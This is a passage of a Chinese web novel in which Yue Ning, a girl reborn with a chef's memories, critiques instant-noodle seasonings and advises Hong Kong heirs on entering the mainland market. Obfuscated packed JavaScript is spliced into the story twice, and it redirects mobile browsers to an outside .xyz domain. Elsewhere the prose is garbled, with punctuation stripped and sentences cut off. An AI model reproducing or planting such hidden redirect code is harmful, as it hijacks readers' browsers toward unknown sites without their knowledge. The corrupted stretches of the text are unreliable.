岳宁走上前，乔君贤等她跟上，三个人并排后，他才继续和崔慧仪交谈：“慧仪姐，您怎么会来大陆？ “什么叫怎么会？我都来了快一个月了，去了上海、武汉、成都，这才来这儿和我爸汇合。崔慧仪说道，“我来内地考察速食面市场，想找工厂合资。结果发现各地的口味差异太大了，我都怀疑能不能打开市场。 “确实，我也是从粤城到上海，再到北京，又去了西北，每个地方的饮食都局限在当地，出了那个地方，味道就大不一样。日本清仔面能在港城迅速流行起来，也是因为港城的口味和日本比较接近，都是麻油清淡口味。 “这正是让我头疼的地方。我倒是想针对性地开发产品，可一下子没方向，市场太乱太杂了。 乔君贤转头对岳宁说：“岳宁，慧仪姐可厉害了，回港后就跟着崔世伯管理家里的食品厂。 “没办法，外公留下的产业，我不管谁管？ 崔慧仪这话一出口，崔老板回头看了她一眼。崔慧仪索性转头看向旁边的崔二太，用同样的眼神瞪了二太一眼。 一直没吭声的二太，就这么莫名其妙地收到一个厌烦的眼神。 “外公一定很疼慧仪姐。岳宁从另一个角度说道。 “对啊！外公疼我妈，当然也疼我们姊妹俩。 到了咖啡厅门口，乔君贤说：“我去问问我爷爷回来了没？你们先去咖啡厅坐会儿。 “去吧！ 乔君贤一走，崔慧仪自然地走到岳宁身边：“宁宁，你一直在西北吗？ “我五岁就跟爸爸去了西北，在一个小山沟里长大的。 崔慧仪仔细打量了她一番：“不太像呢！我这次走了很多地方，说实话，我在上海和北京街头看到的女孩子，绝大多数都没你有气质。 岳宁伸出手，崔慧仪不明白她要做什么。岳宁说：“把你的手给我。 崔慧仪把手搭在岳宁手上，岳宁轻轻摩挲她的手：“是不是感觉像摸在树皮上？ 虽说像摸树皮有点夸张，但岳宁手上有厚厚 的老茧，皮肤确实糙得像砂纸。再看她的脸，五官漂亮，可皮肤是小麦色，还显得粗糙，只是那股独特的气质，让人能忽略这些。 几个人一起去底楼的咖啡厅。岳宁坐下后，服务员拿来菜单。崔慧仪接过看了一眼，说：“华叔，这里的碧螺春很不错，您来一杯？爸爸也要一杯？ “好啊！ “好。 她又把菜单递给岳宁：“宁宁，你呢？ 岳宁看着菜单，眼睛一亮，有可乐？算了，她说：“牛奶。 崔慧仪对服务员说：“我要一罐可乐。 点完后，她把菜单往崔二太面前一放，连个眼神都没给二太，回头跟岳宁说：“你可真乖，喝牛奶。 “爷爷说要尽快把我养得白白胖胖的。岳宁看向岳宝华，心里后悔刚才没点可乐。 这时，崔慧仪才意识到这真是个没见过多少世面的纯真小妹妹。 “华哥，现在孩子也找到了，那个丁胜强现在闹得挺厉害。他要是只借你的名声，也就算了。可现在他这架势，是有他没你。要是你年轻十岁，要是令公子还在，要是……崔老板看向岳宁，“是个孙子，那就奉陪到底。可现在这样，你就别折腾了，把宝华楼盘了吧。我知道你闲不住，来辉煌给我做个顾问怎么样？等你家姑娘找了男朋友，结婚了，你也就放心了。 “你说得也有道理，不过……岳宝华满眼慈爱地看着岳宁，“她爸爸希望她做个好厨子，她也喜欢做菜。孙女和孙子是一样的，她想做，我就带着她。 “开了酒楼我才知道这行有多累。我有两个女儿，才跟你说真心话。女人一结婚生了孩子，心思自然而然就放在老公和孩子身上了。 岳宁见崔慧仪靠在沙发上，听她爸说话，都快翻白眼了。 岳宁抬头，一脸天真地问：“崔世伯，既然经营有问题的是辉煌，为什么不是辉煌盘出去，而是让我爷爷把宝华楼盘出去呢？ 崔慧仪一下子来了精神，这姑娘问得，不知道是直率还是刁钻？她收起二郎腿，坐直了身体。 崔老板心想，自己说这些话，是因为和岳宝华相交多年。当初他大女儿要开酒楼，其他都准备好了，可烧腊师傅试了很多，都不满意。全港论烧腊味道， 宝华楼绝对能排前三。他当时给女儿出主意让酒楼的烧腊从宝华楼订购。 女儿去找岳宝华岳宝华一听马上说不行。既然是开在浅水湾的高档酒楼烧腊从宝华楼进路上凉了再加热风味就差了。岳宝华让崔慧文把辉煌的烧腊师傅送到宝华楼去学。 烧腊是宝华楼的招牌之一岳宝华就这么把方子交出去了甚至还叮嘱他们的烧腊师傅选材要比宝华楼更考究毕竟他们价格卖得高嘛。 辉煌也投桃报李菜单上标明是宝华烧鹅、宝华叉烧表明叉烧师承岳宝华。普通大众吃不起辉煌的天价菜还吃不起宝华楼的烧腊吗？一时间港岛的人不嫌远跑来排队买烧鹅、烧肉。甚至某位香江才子也是个老饕撰文夸赞岳宝华的手艺称赞辉煌实诚、尊重人倒也成了一段佳话。 正是有这份交情崔老板才能说这番掏心掏肺的话。却没想到被岳宝华的孙女这么质问。小姑娘牙尖嘴利是好事不会吃小亏可要是不了解前因后果就牙尖嘴利去了港城只怕要吃大亏。崔老板不想跟小丫头计较去了港城自有人会教她。可惜岳宝华的好人缘啊！ 他还没感慨完就听到岳宁脆生生、带着娇憨的声音说：“明明是世伯心疼女儿知道女儿不容易生育养育重担在身想在慧文姐姐最艰难的时候给她找个可靠的帮手。刚好看到现在宝华楼遇到危机我爷爷年纪也大了我爸爸又没了就我这么个孙女估计没了斗志所以您才有了这个两全其美的办法。” 被岳宁夸疼女儿崔老板心花怒放：“你都能猜到我的心思有的人却一点都不懂。” “做女儿这么多年还能不明白爸爸的心思？嘴上嫌弃可最见不得从小疼到大的孩子受苦。”服务员端来饮料岳宁接过牛奶喝了一口“不过就算崔世伯父爱如山 这小姑娘人精啊！才几岁连拒绝都能说得这么让人舒服。崔老板笑着说：“华哥福气在后头呢！” 坐在边上椅子上一直没出声静静地看着他们的崔慧仪打开易拉罐喝了一口可乐嗤笑一声：“一手开办 的酒楼，连续五年生意蒸蒸日上，一到结婚生子，亲爸马上把他小老婆派进去，说是辅助，实际上指手画脚，这可真是父爱如山，压得人……” “慧仪，这是什么场合？”崔老板敲了敲玻璃茶几。 崔慧仪看向崔二太，又转回头问她爸：“您也知道这是什么场合？这种场合还带她来？厂房脏，食堂脏，菜难吃，卫生间脏，处处嫌弃。” “你婉姨说的不是事实吗？” “为了调查大陆市场，我跑遍了好几座城市的大街小巷，写了二十多页的报告，报告里这些没有吗？我打电话跟您解释，您问各种问题，我让您亲自过来看看，和这里的人接触一下，把该解决的问题解决了。” “那不是你说两家日企都觉得合资方条件太差，后期需要投入太多精力而放弃吗？我才让你好好考虑。我问错了吗？” “日企不投我们也不投？我们是中国人。我发那么多报告是给您参考，是要和您商量怎么解决问题，不是让您否决。”崔慧仪站起身，大步往外走。 门口，乔启明走进来，看到她问：“慧仪。” “乔爷爷。” 乔启明笑得和蔼：“发什么脾气呢？” “我爸爸说国内条件不好，不适合投资。我跟他吵起来了。”刚才还气势汹汹的崔慧仪，一脸委屈，好像找到了靠山。 乔启明拍了拍她的肩膀：“一起进去吧。” 乔君贤和另一个中年男子跟在他们后面进来。 岳宁跟着爷爷站起来，迎了上去。她终于见到了这位乔老板，清瘦。不知道老人家到底有什么执念，明明已经秃得快光了，还非要留几根残余的白发。 乔启明走到岳宁面前，仔细打量了她一番，转头对岳宝华说：“一眼就能看出是你们家的孩子，就是瘦了点，养胖点就更漂亮了。” 崔慧仪在边上偷笑：“华叔已经开始养孙女了，宁宁乖得只喝牛奶。” 岳宝华高兴地点头：“等回去再养养，就有肉了。” “爷爷、华叔，你们打算把岳宁当小猪养啊？”乔君贤说。 岳宁佯装生气：“你想说我是猪就直说，你以为别人都跟你一样？” “宁宁。”岳宝华叫了一声孙女，示意她在乔老板面前收敛点。 “小朋友间斗嘴，随他们去吧。”乔启明对岳宝华说。 乔启明以长辈的姿态看向崔老板，问道：“家昌，怎么父女俩 吵起来了？ “自从上次酒会，她听您和余老板聊内地开放了，就一直心心念念要回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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坐在边上，除了偶尔看看岳宁，几乎没什么存在感的崔二太，委屈地说：“二小姐，我不知道您为什么针对我。我今天跟你们去参观食品厂，车间有污渍，工人懒散，卫生间进去都熏眼睛，这样的地方您告诉我是食品厂？还有这里的菜确实不好吃，好像厨师离了酱就不会做菜，我只是说出我的看法。 崔慧仪眼神像刀子一样看向她：“这些我会不知道？要你说？嫌弃这里不好，你不会去巴黎、米兰？ “你……崔二太低下头，不再跟这位二小姐理论，这位二小姐根本不讲道理。 崔家昌实在受不了女儿的跋扈：“如果这些都不当回事，那参观还有什么意义？ “知道我们要从哪里做起，告诉我，缺人、缺设备、缺管理方法、缺钱、缺好的营商环境。从现在到合资审批下来，需要时间吧？那就从这些方面准备。 崔慧仪振振有词。 “你简直一根筋。”崔家昌呵斥道。 崔慧仪眼睛瞪得像铜铃，眼里闪着泪光：“是啊！我是中国人，这一点能改变吗？” 乔启明笑了，伸手揉了揉崔慧仪的短发：“好孩子。” “大陆不缺人。”岳宁突然插话。 崔慧仪刚收了点情绪，听到岳宁这话，笑了：“傻妹妹，我说的缺人，不是缺干活的人，是缺有本事的人才。” “我指的也是有本事的人才。”岳宁侧身，“乔君贤，就算是在很偏僻的小杨沟，你能选出一家电器厂的人手吗？” 正在点饮料的乔君贤抬起头，他要了一罐可乐，把菜单递给服务员，转身对崔慧仪说：“慧仪姐，我刚开始也跟你想法一样，去了小杨沟，和岳宁以及当地村民接触后，发现偏远山村的人普遍愚昧落后。就拿这么一个山村来说，撇开岳宁不谈。” 岳宁急了：“为什么要撇开我？我在小杨沟长大，怎么能撇开我？” “不撇开你？那我觉得你一个人带着一群人都能建一家厂。”乔君贤这话一出口，大家没明白他的意思，却都忍不住笑了起来。 岳宁帮他盘点道：“我们的大队**，能读书看报，在村里很有威望，镇得住场面，可以做厂长。我春梅婶和忠义叔，为人老实可靠。阿发那小子别看做事没个定性，好歹也读了高中。还有我阿根叔……” 岳宁数完这些人后说：“销售这块的人选，要么是你，要么是那天见到的那位大哥。” 乔君贤说起他们去五金交电商店遇到的那个火车站职工，岳宁接着补充道：“还有五金交电的那位女营业员，她也适合做销售。她和那个火车站的职工，可以一个做销售主任，一个做销售员。另外，你在小杨沟只看到了一小部分人。你们看到小杨沟小学破破烂烂的，但是你们不知道，就这么一所简陋的小学，让村里的年轻一代基本上都能读个报。这些人去电子厂打螺丝，总归是可以胜任的吧？一个小小的山村都能凑齐一家电器工厂所需的职工，更何况是北京和上海这样的大城市，读书识字的人可多太多了。” 岳宁停顿了一下，看向崔慧仪：“所以说，人才根本不是问题，关键是怎么把合适的人才给挑选出来。合资的时候，不能全让食品厂那边派人，不然他们把七大姑八大姨都塞进来，到时候想赶都赶不走，那可怎么办？所以第一要 进行严格筛选第二要对外招聘。假设现在的食品厂是一潭死水你们合资就如同注入了一股活水外招的有能力的人更是新鲜的活水我想慧仪姐总归是有办法把局面盘活的。” 崔慧仪微微张开嘴巴看着岳宁眼神中满是惊讶和赞赏。岳宁还在继续说道：“缺设备、缺钱确实是目前的事实那也只能靠你们投资了。这里有的是土地和人力。管理方法方面也是如此反正我们知道自己在这方面有所欠缺所以你们这些从外面来的行家不管采取什么样的管理方式我们都支持全套照搬港城的管理模式不就行了。不过营商环境这一块我就不太了解了。” 岳宁心里明白不能表现得自己什么都懂所以特意留了一些话题。 “就是限制太多了啊！这个要审批 “审批速度慢调配计划又少吗？” “是啊！这……真的让人很苦恼。”崔慧仪说“办事效率太低了。” “大家都是中国人只要政策上开一道口子咱们中国人的积极性就能被调动起来经济自然就活跃起来了……” 岳宁说着说着看见乔君贤从服务员手里接过可乐拉开易拉罐咕咚咕咚地喝了起来不禁露出了羡慕的眼神…… 第 23 章 方便面的调料 第23章第23章 【方便面的调料】 所有人都在等岳宁继续说下去,岳宁看着乔君贤，乔君贤察觉到她的目光，问道：“怎么了？” 岳宁带着探究的神情问：“这是什么？” “可乐。” “好喝吗？” “你想尝尝吗？” 岳宁小鸡啄米般点头,逗得大家都笑了。乔君贤转头对服务员说：“服务员,再拿一罐可乐来。” 目的达到,岳宁接着说：“反正你觉得难，别人其实更难。要是没有乔老先生帮忙，我别说来北京了,能到县城就是我去过最远的地方。乔老先生一帮忙，几天时间我就从小杨沟来到了北京。你们是港商，还能接触到上面的资源，可对大多数人来说,只能干等着。这么看,你们是占优势的。” 这么一说，还真是这么个道理。 服务员拿来可乐,乔君贤接过，岳宁伸手去接，乔君贤却没有直接递给她,而是“啪”的一声打开了易拉罐。岳宁脸上的笑容瞬间消失,乔君贤这才把可乐递给她。崔慧仪说：“君贤，你这马屁可拍到马腿上了。” 乔君贤一头雾水：“什么意思？” “宁宁想自己开可乐。”崔慧仪说完，转过身偷笑，岳宁那幽怨的表情，实在太好笑了。 其他人没有崔慧仪笑得那么直白,只有乔君贤傻傻地问：“你想自己开？” “没关系。”岳宁幽幽地说着,却也默认了自己想开易拉罐的想法。这虽只是个小小的遗憾，但一口可乐下肚,已经让她心里得到了慰藉，这该死的、久违的味道。 崔慧仪笑完转回来问：“好喝吗？” 这可不只是口味的问题，岳宁感觉就像老乡见老乡，两眼泪汪汪。她点头道：“好喝。” “所以，宁宁的意思是，这些都不是问题？”崔慧仪转回正题。 “姐姐能沉下心来考察，又认可自己是中国人，还想为这个刚刚开放的国家做点事，那就迎难而上呗，解决这些问题只是时间问题。在这些方面，我也就是纸上谈兵。倒是姐姐和乔君贤说担心做出来的东西不合北方人的口味，在做菜方面，我自认为有点天赋，恰巧对南北方的口味都有所了解，兴许能帮上忙。” 所有人都看着岳宁，却有一道目光斜着悄悄看过来，仿佛心事重重，岳宁心里很不舒服，索性迎 着那道目光与对方对视。 与她对视后，这位二太太又避开了她的目光。岳宁问道：“二太太，您刚才说吃不惯这里的饭菜，能详细说说您对这里饭菜的感觉吗？” “我并没有说这里饭菜不好，只是我吃不惯。” “你刚才说什么来着，忘了？你说这里的厨师离了酱就不会做菜了。”崔慧仪根本不放过她。 崔老板实在受不了女儿，再次提醒她：“慧仪。” “酱？”岳宁微笑着看向崔二太太，“我爸爸说，酱是各地菜系的灵魂。如何运用好酱，从清、淡、薄到香浓醇厚，掌握了酱的变化，就等于懂了一半中国菜。” “我不懂做菜，我只是觉得不合口味。”崔二太太微笑着回应。 “呵！”崔慧仪冷笑一声，转头问她爸，“爸爸，当时您让婉姨进辉煌，不是说她在大陆是名厨的女儿，懂酒楼经营，所以让她进辉煌帮大姐管日常事务吗？怎么又说不懂做菜了？” “我说我了解酒楼日常经营，但我不会做菜，我们家手艺传男不传女。”崔二太太急忙解释。 “还有这种事儿？”岳宁诧异道。 岳宝华点头：“很多手艺人都不会把手艺传给女儿，生怕外姓人学了手艺抢了生意。” “女儿还不如徒弟？”岳宁气鼓鼓地撸起袖子，“二太太，哪家名厨这么封建？现在都改革开放了，港城机会多，他们肯定会去港城，咱们可不能要这种人？” 被岳宁这么一问，二太太鼻尖冒出了汗珠。 崔慧仪翻了个白眼说：“兴许根本就没有这么个名厨呢？” “你别成天把心思放在这些事上，既然要合资，就把心思放在工厂上。”崔老板训斥女儿。 崔慧仪见戳穿了小妈的谎言，她爸却依然训斥自己，抽了抽嘴角说：“宁宁，接着说酱。” 岳宁有些为难：“我一直在说口味，可问题是你们说的速食面到底是什么样的，我都不知道。总不能让我凭空说吧？” “速食面就是……” 乔君贤正要给岳宁解释，崔慧仪说：“走，我房间里有，我带你去尝尝，你帮我出出主意。” 刚才崔慧仪跟乔君贤说起口味难题时，乔君贤就想到岳宁了，只是没跟岳宁商量，不好先跟崔慧仪提。现在岳宁又是给崔慧仪分析建厂，又是谈口味，摆明了愿意帮忙，他便在一旁附和：“岳宁，走。” 岳宁站起来， 看向岳宝华岳宝华也跟着站起来。 乔启明说：“让孩子们自己去商量我们几个老兄弟说说话。” 乔老板都这么说了岳宝华不好再跟着：“宁宁速食面没什么营养别多吃。等会儿还要吃晚饭呢！” 乔启明笑了起来：“宝华宁宁这么有主见的孩子你还把她当成要追着喂饭的小朋友呢。” 岳宝华也知道自己过于担心了笑着说：“去吧！” “嗯！” 岳宁跟着崔慧仪往前走。 乔启明看着小孙子走在岳宝华孙女旁边不知道在聊什么笑得很开心。 孙子小时候很顽皮他们这种家庭教养之下孩子慢慢就有了进退有度的风度却少了孩童时期的那份活泼。倒是和这个岳宁才相处了几天怎么又变得活泼起来了？ 乔启明拿出雪茄盒给崔老板和岳宝华递烟三人抽起了烟。 “宝华宁宁真的是在山沟沟里长大的？”乔启明吐出一口烟问道。 岳宝华被这么一问一时反应不过来：“那肯定啊！她连县城都没去过几回。” “要是山沟沟里能养出这么个孩子咱们还送孩子去国外留学做什么？”乔启明摇头“不像真不像。” * 岳宁进了崔慧仪的房间和乔君贤在沙发上坐下听乔君贤说起两家的关系。 乔家和崔慧仪的外公家都是抗战时来到港城的富商。 “乔爷爷先来港城布局帮助从大陆过去避祸的商人恢复生产支援国内。在他的帮助下我爷爷在筲箕湾重开了立德食品厂。小时候我就听外公讲他摆摊卖糕点从一副挑担到有了一个铺子再开了工厂。有生之年回到故土是外公的遗愿他回不来了立德回来也是一样的。我当然知道真要赚钱过两三年等一切明朗了 岳宁摆摆手：“不喝了太甜了。” 乔君贤拿起来递给岳宁：“你打开我来喝。” “你今天又喝酸梅汤又喝可乐甜食吃太多不好你也别喝了。” 好吧！乔君贤放下可乐。 崔慧仪从卧室出来拿了几袋方便面放在桌上她指着一袋袋方便面介绍道：“这是日本的这是我们家的速食面这是上海的这是印尼的。” 这些都是塑料包装印刷自然比不上岳宁印象中的方便面但也算精美。只有上海产的这款是纸质包装图案不够清晰放在一起显得有些掉档次。 岳宁问：“我能拆开看看吗？” 崔慧仪端了水过来：“先喝水。我让人拿了碗过来我们把这些都泡了比较一下味道？” 日本的这袋面是上辈子港城方便面的代表之一这包是麻油鸡汤味的面包装上写着“附加麻油”。岳宁拆开包装里面有一块面饼、一包调味粉和一包麻油。 崔慧仪跟她介绍这款面条在港城销量有多好是速食面的代表。岳宁拆开崔家的那一款里面还多了一包酱油她仰头看向崔慧仪。 “日本的调味包里味精太多吃了口干我们去掉了味精用生抽增加鲜味。” 好吧广府人对味精的厌恶简直深入骨髓。 上海的肉蓉面包装简陋不说里面只有一块调料面饼的味道她暂时还不知道。印尼的面条同样是一包调料。 门铃声响起崔慧仪去开门 崔慧仪泡好了面岳宁去洗了手手指蘸了点粉包先尝日本的这一款：“黑胡椒粉、洋葱粉、姜粉、大蒜粉、鸡肉粉还有粉末酱油？确实味精放多了这个鸡肉味很浓郁里面放了什么？” “鸡油香精。”崔慧仪说。 既然从事餐饮行业岳宁自然对这些添加剂了如指掌。比如乙基麦芽酚普遍用于肉类制作中加一点既能留香持久又兼具防腐效果。这玩意儿如果在安全用量范围内危害不大但它能掩盖冻肉的口感增加风味缩小与鲜肉的差距。 泡面更是添加剂的“重灾区”出了名的闻起来香吃起来没味道。这个年代方便面的调味还停留在1.0阶段后续的酱料包、脱水蔬菜包再到后来真空包装的午餐肉、卤蛋加入花样百出群雄逐鹿没想到添加剂已经走在前面了？ 她又尝了尝崔家的调味料刚才岳宁能准确说出日本调味料的成分这会儿崔慧仪感觉就像去**庙找人算卦找到了大仙一样。 “你家加了紫菜焙干的粉？味精比他们家少了一大半？没有鸡油香精？”岳宁问崔慧仪。 崔慧仪张大了嘴巴要是同行能猜到这个地步 已经很厉害了，更别说这么个连速食面都没见过的小姑娘。 “少了味精，想要增加鲜味，就加了这两样。也不是单纯减了味精和香精，我觉得本身的调味还能改进。”崔慧仪说。 “没错，不要单纯用粉末配比，鸡胸肉要先炒制再焙干，还可以加芹菜。芹菜没有香菜气味那么突出，却能增加风味。” 岳宁上辈子研究这种粉末调料，是为了统一某些菜品的调味，尤其是高汤的底味。她经过无数次配比，调制出了鸡汤和猪骨汤两款浓缩高汤粉，称为宁宴一号和宁宴二号。 当时，餐饮行业“科技与狠活”在网络上爆火，添加剂备受诟病。这个时候爆出高端餐饮“宁宴”用调味粉冲调高汤，而非传统熬制，立刻登上热搜第一，成了“科技与狠活”的典型代表。 不管是好是坏，岳宁一直活跃在网络上。这事爆发后，她在几个平台直播“岳宁教你做高汤粉”的视频。视频里，她用菜场最常见的食材，教大家在家做宁宴一号和宁宴二号高汤粉。 她一边往里拼命加盐，一边说：“我们加入氯化钠，这个添加剂有增加咸味和防腐的功效。” 网友们疯狂复刻她的这两款高汤粉，高喊“YYDS”，又给宁宴带来了一波流量。 面条已经泡好了，岳宁拿了一个空碗，用筷子挑起面条。日本的这款面条，即便用开水泡，依然爽滑劲道。上辈子这款面条在日本卖得一般，却在港城占据了速食面的半壁江山，成了方便面的代名词。 再吃一口崔家的面条，调味风格几乎和日本的这款一样，少了味精所以鲜味稍欠，面条更柔软一些，泡着吃有些偏烂，煮的话弹性会好一些，和日本面条各有优劣。 这两款都是麻油香菇炖鸡口味，想在内地打开市场？岳宁想起上辈子疫情期间，超市货架上就剩下香菇炖鸡面，可见这款经典口味的面条在内地并不受欢迎。 上海的这款面条，调味料暂且不说，面条也软烂，同样是用没什么味道的棕榈油炸制，却硬是让岳宁吃出了油腥味。岳宁喝了一口水漱漱口，继续尝下一款印尼的面条。这款面条和港城的差不多，调料带点甜和辣，不过粉包里应该加了虾皮粉，有股海鲜的味道，让她想起了东南亚的酱料马拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912445|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盏，调味上多了一丝特色。 岳宁把上海的那一款放在一边，说：“这三款都还行，日本的面条更劲道，印尼的 这款调味有差异你们家这款面条普通调味没什么特色。而这个肉蓉面连合格都算不上。” 崔慧仪听到这个评价 岳宁靠在沙发上：“然后呢？港城人喜欢喝汤清淡的鸡汤面就算你们家的比不上日本的我猜应该是靠着价格优势所以能卖得动。但这里是内地你爸的姨太太说咱们北方口味重你说你走了上海、武汉、成都现在到了北京。上海的辣酱面、武汉的热干面、成都的担担面、北京的炸酱面和这个有什么关系？更不用说地域广阔的西北了牛肉拉面、油泼扯面、臊子面、拉条子、浆水面。” 崔慧仪的脸色变得很难看。立德食品公司是外公一手创办的外公去世后股份在她妈手里。她妈一直做贤妻良母根本不懂经营经营只能交给她爸。几年下来崔家的调味料厂蒸蒸日上立德食品却半死不活。妈妈因胃癌去世后公司的股权一半归了爸爸一半归她们姊妹俩。爸爸以立德经营不善为由要出售公司。那时姐姐经营着辉煌酒楼还在谈恋爱无暇顾及只有她坚持一定要留下食品厂。为了留下立德刚从美国回港、毫无经验的她走进了这家风雨飘摇的食品厂面对的是十来年没什么变化的饼干和糖果。 她苦苦思索出路一家一家食品商店去蹲点观察什么食品销量好。乔君贤回港过暑假听她说了情况他妈妈是鸿安集团的董事、港城鸿安超市的总经理他便从妈妈那里拿到了食品销售数据发现销售增长最迅猛的是日本的一款速食面。她调查了消费人群后决定做速食面。 她不肯卖立德食品厂这想法有些异想天开现在还要投资扩产？她爸自然强烈反对。倒是姐姐刚怀孕她爸就以姐姐怀孕要以孩子为重为由派了他的小老婆进辉煌酒楼。姐姐心里憋着一口气全力支持她投资扩产她爸这才妥协。 也是口味对了时机也巧再加上有乔太太帮忙否则她一个新人怎么可能从广告到销售一路顺利？ 从1974年开始短短五年时间这款速食面已经紧跟在日本那款面之后成为全港销量第二的速食面而且在乔太太的帮助下还打入了东南亚市场。 这样 的成绩 自家引以为傲的产品被说得一文不值崔慧仪对岳宁的好感一下子降了下来。她拿起桌上的肉蓉面：“你看不上的肉蓉面你们内地人可都排队买呢！” 岳宁抬眼迎着她的目光：“你知道什么是返销粮吗？荒年的时候连洋芋都不够吃国家调配返销粮可这些粮都是库存的陈粮有些甚至发霉变质我们都还排队买。”岳宁迎着她的目光“你觉得我愿意吃发霉的小米吗？不吃会饿啊！你自己都觉得面条不合北方口味才让我来找问题我说出了问题你又生气。你要是想听我吹彩虹屁你早说啊！我可以说你调料里放了鸡粉、紫菜粉和香菇粉味道鲜美你的面条也好泡过之后保持弹性柔软不糊烂。可这些能解决你的焦虑吗？你让我来尝尝不就是希望解决问题吗？” 崔慧仪看着这么一双清澈却又犀利的眼睛道歉道：“Sorry呀！是我不好你别生气。” “哪怕小杨沟再穷我也受不了别人贬低那是我实实在在的家乡。刚才那个二太太说食品厂卫生间熏眼睛的时候我也想骂人。人嘛总有偏向我理解。” 岳宁能理解她崔慧仪脸上又露出了笑容。 岳宁问：“姐姐能借这里的炉灶再帮我买一些食材吗？” “要干什么？” “做个高汤粉顺带熬个酱。趁着咱们在北京你和乔君贤或者还能请我爷爷你们这些港城人还有这里食品厂的人一起尝尝这个酱。等我们回了港城就算港城有北方人可经过一段时间适应他们的口味接受度会变高这样我们就测不出真正的北方人到底喜不喜欢这款酱了。”岳宁说。 崔慧仪点头：“我去打电话。” “等等先让我开个单子。” “来这儿写。”崔慧仪拿了纸笔放在书桌上拉开椅子。 岳宁过去坐下开始开材料单：“姜要是有比较辣的小黄姜更好没有的话普通老姜也行；大蒜一定要新鲜辛辣味道得浓；香菜和芹菜没太多要求新鲜就行；普宁豆酱我估计他们找不到就用六必居的黄豆酱替代……” 崔慧仪低头看着她开单子惊叹道：“哇！宁宁你的字真好看。” “她的书法很棒。”乔君贤附和道。 岳 宁开完单子递给崔慧仪，接着在纸上几笔勾勒出一个小人。见乔君贤愣在一旁，岳宁扯下这张纸，递给他：“我不仅会书法，还会画画。 崔慧仪打完电话，走过来瞧见乔君贤正捧着那张纸。她凑过去一看，只见纸上寥寥数笔，画了个圆嘟嘟的小人，一眼便能看出画的是乔君贤。崔慧仪叫起来：“哇，好可爱啊！我也要！ 岳宁便画了一个Q版发脾气的崔慧仪。 崔慧仪看着画，心想：瞧瞧，就算画里发脾气，也这么可爱，确实像自己。她喜滋滋地收下画，问道：“宁宁，你怎么会这么多才艺？ 岳宁一脸骄傲地说：“请叫我宝藏女孩。 “啊？崔慧仪又听到了一个新词汇。 乔君贤也问道：“什么叫宝藏女孩？ “就好比是宝藏，深入挖掘，我总能给你们带来意想不到的惊喜。 在崔慧仪听来，岳宁这话没错，可这自夸的劲儿…… 电话铃响了，崔慧仪接起电话：“这些你们小食堂都有？随时能用？ 崔慧仪捂住话筒，问岳宁：“宁宁，什么时候去？ 岳宁看了看书桌上的小钟：“现在四点二十，他们这会儿方便吗？咱们要不现在就过去？ 崔慧仪求之不得：“好。 第 24 章 做酱料 第24章第24章 【做酱料】 三人准备出门,打算去咖啡厅跟长辈们说一声。 乔老板还在和岳宝华、崔老板喝茶，那个崔二太太很有耐心，安静又温柔地坐在一旁。 乔启明见三个孩子一同过来,便问道：“试过了？” 崔慧仪站在乔启明背后,手搭在乔启明的沙发靠背上,说道：“乔爷爷，宁宁可厉害了，她尝一尝调味包,就能把配方说得**不离十，简直是行家！她说趁着我们都在北京，要试一款咱们能吃，北方人也喜欢的酱料。我们现在就去食品厂试试。” 崔老板皱起眉头：“都什么时候了？马上就该吃晚饭了。” “没关系,你们吃,我们去。” “正事要紧，要是不试一下,慧仪今晚都睡不着觉了。去吧！”乔启明拍了拍崔慧仪的手，“要不是今晚我要跟第七研究院的专家们吃饭，我都想去看看。” “谢谢乔爷爷。” “去吧！” 崔老板本来想和乔启明一起吃饭,听说他晚上有应酬,便说：“那我跟你们一起去。” “爷爷，您也一起去？刚好能给我提点建议。”岳宁对岳宝华说道。 “好。” 乔君贤说：“爷爷，我也去。” “你宝如小姨和姨夫昨天到了天津，今天我们一起回来，他们下午去了研究所,你还没见过他们呢。明天上午九点我们就走了,你还想不想见他们了？”乔启明说。 乔君贤这下不敢离开了，对崔慧仪说：“慧仪姐,我不去了。要是我妈知道我能见到小姨却没见面，她肯定骂死我。” “好啊！”崔慧仪看到食品厂的厂长在大堂里张望，便跟乔家祖孙说，“乔爷爷、君贤，我们走了。” 几个人往外走，崔二太太跟了上来，崔慧仪立刻变了脸色：“你干嘛？” “我一起去！”崔二太太说。 岳宁似乎能看到崔慧仪额头上冒出火苗来。这种场合下，崔慧仪时不时发脾气，不过是色厉内荏罢了。 这样的情绪，上辈子困扰了岳宁很多年。上辈子，她爸是名噪一时的粤菜大厨，还开了一家粤菜酒楼，生意红火。 他们家有姐弟两人，从小岳宁就是那种别人家的孩子，学习好，还有她爸的天赋。她从小寒暑假都在酒楼后厨学习，爸爸逢人就夸她得了自己的 真传。 她弟弟呢高中考不上去澳洲读书最后也只申请到了一所上课都用中文的大学。 爸妈说得很清楚家里的酒楼是弟弟的但她大学毕业必须回家进酒楼。 她考外省大学被骂读研也被骂开宁烧腊时父母一分钱不出不说依旧骂她。在长期压抑的氛围中她变得戾气很重加上嘴皮子利索怼起父母从不留面子。 到了父母年老酒楼已经被弟弟败光她把父母送进了高端养老机构。明明自己已经功成名就父母也已风烛残年往日的那些事 直到这辈子虽然穷得衣服都没有一件完整的还被人骂狗崽子但她有爸爸在爸爸眼里她是天底下最聪明的孩子她还有莫伯伯也会把她夸上天。 就算恢复了前世的记忆她不用练书画不用熏香那些曾让自己产生厌弃情绪的东西再也没有困扰过她。田枣花造谣隔壁村的二流子骚扰该骂就骂该打就打。 岳宁正共情崔慧仪崔慧仪却笑了起来：“婉姨你这个不会做菜的名厨女儿想去看名厨孙女做菜？” 这位二太太被如此讽刺却还是登上了食品厂的面包车。岳宁也佩服她内心的强大。不过如果她内心不坚定当初又怎么能抛夫弃女跑到港城呢？ 